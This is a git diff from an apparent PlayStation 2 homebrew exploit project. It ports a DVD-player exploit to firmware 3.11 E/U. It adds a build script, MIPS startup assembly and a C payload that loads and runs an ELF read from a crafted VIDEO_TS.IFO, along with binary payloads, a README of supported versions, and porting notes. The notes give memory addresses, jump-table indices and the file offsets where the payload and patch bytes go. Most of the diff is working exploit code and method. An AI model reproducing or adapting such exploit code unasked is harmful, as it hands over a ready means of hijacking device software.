diff --git a/3.11EU.iso b/3.11EU.iso new file mode 100644 index 0000000..3076d0d Binary files /dev/null and b/3.11EU.iso differ diff --git a/3.11EU/VIDEO_TS/VIDEO_TS.IFO b/3.11EU/VIDEO_TS/VIDEO_TS.IFO new file mode 100644 index 0000000..971f56c Binary files /dev/null and b/3.11EU/VIDEO_TS/VIDEO_TS.IFO differ diff --git a/3.11EU/VIDEO_TS/VTS_01_0.IFO b/3.11EU/VIDEO_TS/VTS_01_0.IFO new file mode 100644 index 0000000..0b6bed8 Binary files /dev/null and b/3.11EU/VIDEO_TS/VTS_01_0.IFO differ diff --git a/3.11EU/VIDEO_TS/VTS_02_0.IFO b/3.11EU/VIDEO_TS/VTS_02_0.IFO new file mode 100644 index 0000000..d9f7983 Binary files /dev/null and b/3.11EU/VIDEO_TS/VTS_02_0.IFO differ diff --git a/PAYLOADS/PAYLOAD_3.11E/build.sh b/PAYLOADS/PAYLOAD_3.11E/build.sh new file mode 100644 index 0000000..597445e --- /dev/null +++ b/PAYLOADS/PAYLOAD_3.11E/build.sh @@ -0,0 +1,19 @@ +echo "Building payload" + +ee-gcc -Ttext=0x01FFF800 payload.c -o payload.elf -nostartfiles -nostdlib -ffreestanding -Os -Wl,-z,max-page-size=0x1 # 2048 +ee-objcopy -O binary payload.elf payload.bin -Wl,-z,max-page-size=0x1 + +ENTRY=`ee-objdump -t payload.elf | grep " _start"` +echo $ENTRY + +# Doesn't seem to work on MinGW toolchain, so set manually if you're using that: +#ENTRY=0x`grep -o "^\S*" <<< $ENTRY` +ENTRY=0x01fff9a8 + +echo $ENTRY +echo "Building crt0" + +ee-gcc -Ttext=0x01500014 -DENTRY=$ENTRY crt0.S -o fullpayload.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1 +ee-objcopy -O binary fullpayload.elf fullpayload.bin -Wl,-z,max-page-size=0x1 + +echo "Done. Insert fullpayload.bin into VIDEO_TS.IFO at offset 0x2954" diff --git a/PAYLOADS/PAYLOAD_3.11E/crt0.S b/PAYLOADS/PAYLOAD_3.11E/crt0.S new file mode 100644 index 0000000..ddd6d46 --- /dev/null +++ b/PAYLOADS/PAYLOAD_3.11E/crt0.S @@ -0,0 +1,62 @@ +.set noreorder # If we're writing assembly, why would we want this? + +.section .text.startup + +.equ getBufferInternal, 0x2952f0 +.equ payload, (0x2000000 - 0x800) # End of RAM + +.global _start +_start: + #la $a0, 0x7f + #la $v1, 0x01 + #syscall 0x01 # ResetEE + + #la $a0, relo + la $a0, load + la $a1, 0 + la $a2, 0 + la $a3, 0 + +.global ExecPS2 +ExecPS2: + la $v1, 7 + syscall 7 # ExecPS2 + +load: + la $a0, 0 + la $a1, 0 # 0 = VIDEO_TS.IFO, 1 = VTS_01_0.IFO + la $a2, 0x3000 / 0x800 # lba offset in file + la $a3, payload # Destination + la $t0, 0x800 / 0x800 # Count + la $t1, 0 + la $v0, getBufferInternal + jalr $v0 + nop + +#relo: + # Relocate payload to end of RAM +# la $a0, (0x2000000 - 1024) +# la $a1, payload +# la $a2, 2048 +# la $v0, memcpy +# jalr $v0 + +boot: + la $v1, 0x64; la $a0, 0; syscall 0x64 # FlushCache data writeback + la $v1, 0x64; la $a0, 2; syscall 0x64 # FlushCache instruction invalidate + + # Point stack to end of scratchpad RAM + la $sp, 0x70004000 + + # Execute from relocated place + la $v0, ENTRY + j $v0 + nop + +.space (_start + 0x2fe2 - 0x2954) - . +fpIndex: + .byte 0xfa + .byte 0xdc + +.space (_start + 0x3000 - 0x2954) - . +.incbin "payload.bin" diff --git a/PAYLOADS/PAYLOAD_3.11E/fullpayload.bin b/PAYLOADS/PAYLOAD_3.11E/fullpayload.bin new file mode 100644 index 0000000..1eef865 Binary files /dev/null and b/PAYLOADS/PAYLOAD_3.11E/fullpayload.bin differ diff --git a/PAYLOADS/PAYLOAD_3.11E/fullpayload.elf b/PAYLOADS/PAYLOAD_3.11E/fullpayload.elf new file mode 100644 index 0000000..64e6ee5 Binary files /dev/null and b/PAYLOADS/PAYLOAD_3.11E/fullpayload.elf differ diff --git a/PAYLOADS/PAYLOAD_3.11E/payload.bin b/PAYLOADS/PAYLOAD_3.11E/payload.bin new file mode 100644 index 0000000..7930815 Binary files /dev/null and b/PAYLOADS/PAYLOAD_3.11E/payload.bin differ diff --git a/PAYLOADS/PAYLOAD_3.11E/payload.c b/PAYLOADS/PAYLOAD_3.11E/payload.c new file mode 100644 index 0000000..9088faf --- /dev/null +++ b/PAYLOADS/PAYLOAD_3.11E/payload.c @@ -0,0 +1,141 @@ +#include + +// Pick one +#define LOAD_FROM_VTS_02_0_IFO +//#define LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO (151 - 138 - 7) + +#define min(a, b) (((a) < (b)) ? (a) : (b)) + +#define pointToIFO ((void (*)(unsigned int index, unsigned int lba, unsigned int offset))0x258a28) +#define getDiscData ((void (*)(unsigned int s, void *d))0x258b98) + +#define SifIopReset ((int (*)(char *, int))0x20e7d8) +#define SifIopSync ((int (*)(void))0x20e958) +#define SifInitRpc ((void (*)(int))0x208d80) +#define SifExitRpc ((void (*)(void))0x208f20) + +#define getBufferInternal ((int (*)(void *filename, int type, int currentSector, void *dest, unsigned int sectorsRemaining, int curReadPos))0x2952f0) + +#define ELF_PT_LOAD 1 + +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; + +typedef struct { + u8 ident[16]; + u16 type; + u16 machine; + u32 version; + u32 entry; + u32 phoff; + u32 shoff; + u32 flags; + u16 ehsize; + u16 phentsize; + u16 phnum; + u16 shentsize; + u16 shnum; + u16 shstrndx; +} elf_header_t; + +typedef struct { + u32 type; + u32 offset; + void *vaddr; + u32 paddr; + u32 filesz; + u32 memsz; + u32 flags; + u32 align; +} elf_pheader_t; + +__attribute__((noreturn)) void ExecPS2(void *entry, void *gp, int argc, char **argv) { + asm volatile("la $v1, 7; syscall 7"); + //__builtin_unreachable(); +} + +void *memcpy_(void *dest, void *src, size_t n) { + int i; + for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = ((unsigned char *)src)[i]; + return dest; +} + +void *memset(void *dest, int c, size_t n) { + int i; + for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = c; + return dest; +} + +static void readData(void *dest, unsigned int offset, size_t n) { + unsigned char buffer[0x800]; + + unsigned int copied = 0; + #define remaining (n - copied) + + if(offset % 0x800) { + getBufferInternal("", 1, offset / 0x800, buffer, 1, 0); + memcpy_(dest, buffer + offset % 0x800, min(0x800 - (offset % 0x800), n)); + copied += min(0x800 - (offset % 0x800), n); + } + + if(remaining >= 0x800) { + getBufferInternal("", 1, (offset + copied) / 0x800, dest + copied, remaining / 0x800, 0); + copied += (remaining / 0x800) * 0x800; + } + + if(remaining > 0) { + getBufferInternal("", 1, (offset + copied) / 0x800, buffer, 1, 0); + memcpy_(dest + copied, buffer, remaining); + } +} + +__attribute__((noreturn)) void _start(void) { + //Exit(0); + //asm volatile("la $v1, 0x04; la $a0, 0; syscall 0x04"); + + int i; + + #ifdef LOAD_FROM_VTS_02_0_IFO + // point to VTS_02_0.IFO + pointToIFO(2, 0, 0); + + // Force a read from VTS_02_0.IFO + char head[64]; + getDiscData(64, &head); + + #define RELATIVE_SECTOR 0 + #else + #define RELATIVE_SECTOR LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO + #endif + + // Based on https://github.com/AKuHAK/uLaunchELF/blob/master/loader/loader.c + elf_header_t eh; + readData(&eh, RELATIVE_SECTOR * 0x800, sizeof(elf_header_t)); + + elf_pheader_t eph[eh.phnum]; + readData(&eph, RELATIVE_SECTOR * 0x800 + eh.phoff, sizeof(elf_pheader_t) * eh.phnum); + + for (i = 0; i < eh.phnum; i++) { + if (eph[i].type != ELF_PT_LOAD) + continue; + + readData(eph[i].vaddr, RELATIVE_SECTOR * 0x800 + eph[i].offset, eph[i].filesz); + if(eph[i].memsz > eph[i].filesz) memset(eph[i].vaddr + eph[i].filesz, 0, eph[i].memsz - eph[i].filesz); + } + + asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); // FlushCache data writeback + asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); // FlushCache instruction invalidate + + //while(!SifIopReset("", 0)); + //while(!SifIopSync()); + + //while(!SifIopReset("rom0:UDNL rom0:EELOADCNF", 0)); + SifIopReset("rom0:UDNL rom0:EELOADCNF", 0); + while(!SifIopSync()); + + SifInitRpc(0); + SifExitRpc(); + + ExecPS2((void *)eh.entry, 0, 0, 0); +} diff --git a/PAYLOADS/PAYLOAD_3.11E/payload.elf b/PAYLOADS/PAYLOAD_3.11E/payload.elf new file mode 100644 index 0000000..2461cb6 Binary files /dev/null and b/PAYLOADS/PAYLOAD_3.11E/payload.elf differ diff --git a/README.md b/README.md index 1c3e644..2f906df 100644 --- a/README.md +++ b/README.md @@ -8,11 +8,12 @@ Boot your PlayStation 2 without any disc inserted, and press Triangle to identif Language is also confirmed to affect the exploit (https://www.youtube.com/watch?v=zelVQcD7HCY), so please set your PS2 language in the system configuration to match supported configuration (it should be possible to port to other languages in the future, but I'm prioritising different firmware versions instead of different lanauges to start with, since language can be changed). -So far I only tested 3.10 on E and U on hardware, and 3.11 isn't confirmed working on hardware yet (J with English language). +So far I only tested 3.10 on E and U on hardware, and 3.11 isn't confirmed working on hardware yet (will update when I get a response). Currently only support: - 3.10 (E or U - with English language set in settings) +- 3.11 (E or U - with English language set in settings) - 3.11 (J - with English language set in settings) Check back here later for more support. Hopefully over time other developers from the scene will also contribute support for additional DVD Player versions. Don't bother trying on a not supported region/firmware configuration, it won't work... diff --git a/porting notes.txt b/porting notes.txt index 4af5b08..8f72a01 100644 --- a/porting notes.txt +++ b/porting notes.txt @@ -1,4 +1,10 @@ -3.11J (English language) +OK, so turns out porting to different regions/languages is just a matter of finding new jump target, which isn't too difficult. + +Porting to different versions, means finding all the function addresses again, which is the time consuming bit. + + + +porting to 3.11J (English language) make memory dump for EE (PCSX2 save state, rename to zip extract, eeMemory.bin) search DVDVIDEO-VMG = 0x014331c8 @@ -47,3 +53,18 @@ edit build.sh to place correct loading address and offsets, and recompile! Insert fullpayload.bin into VIDEO_TS.IFO at offset 0x2ba4 test, and see ule boot successfully in pcsx2! + +3.11E (English language) +getDiscData and getDiscByte seem the same as in 3.11J +overflow call is also at 0x257564 +fpIndex also 0x143bc4a +oob jump also at 0x0025A618 +it's just the jump targets that are different +dump 0x3b3050 to 0x3b3050 + 0xffff * 4 = 0x3F304C +we have a nice one! 01500014 will work - same as we used for 3.10EU lol :) +that's at 0x3EA438, so index (0x3EA438-0x3b3050)/4 = 0xDCFA +so patch the IFO, same offset as for 3.11J (0x2fe2) to fa dc +now break at writing payload (0x1500014) +currentDiscBytePointer points to 0x014ff57d +nearest landmark is "ABOVE 3" string at 0x14ff41b +so payload goes at ABOVE 3 location in IFO + (0x014ff57d - 0x14ff41b) - 1 = 0x2954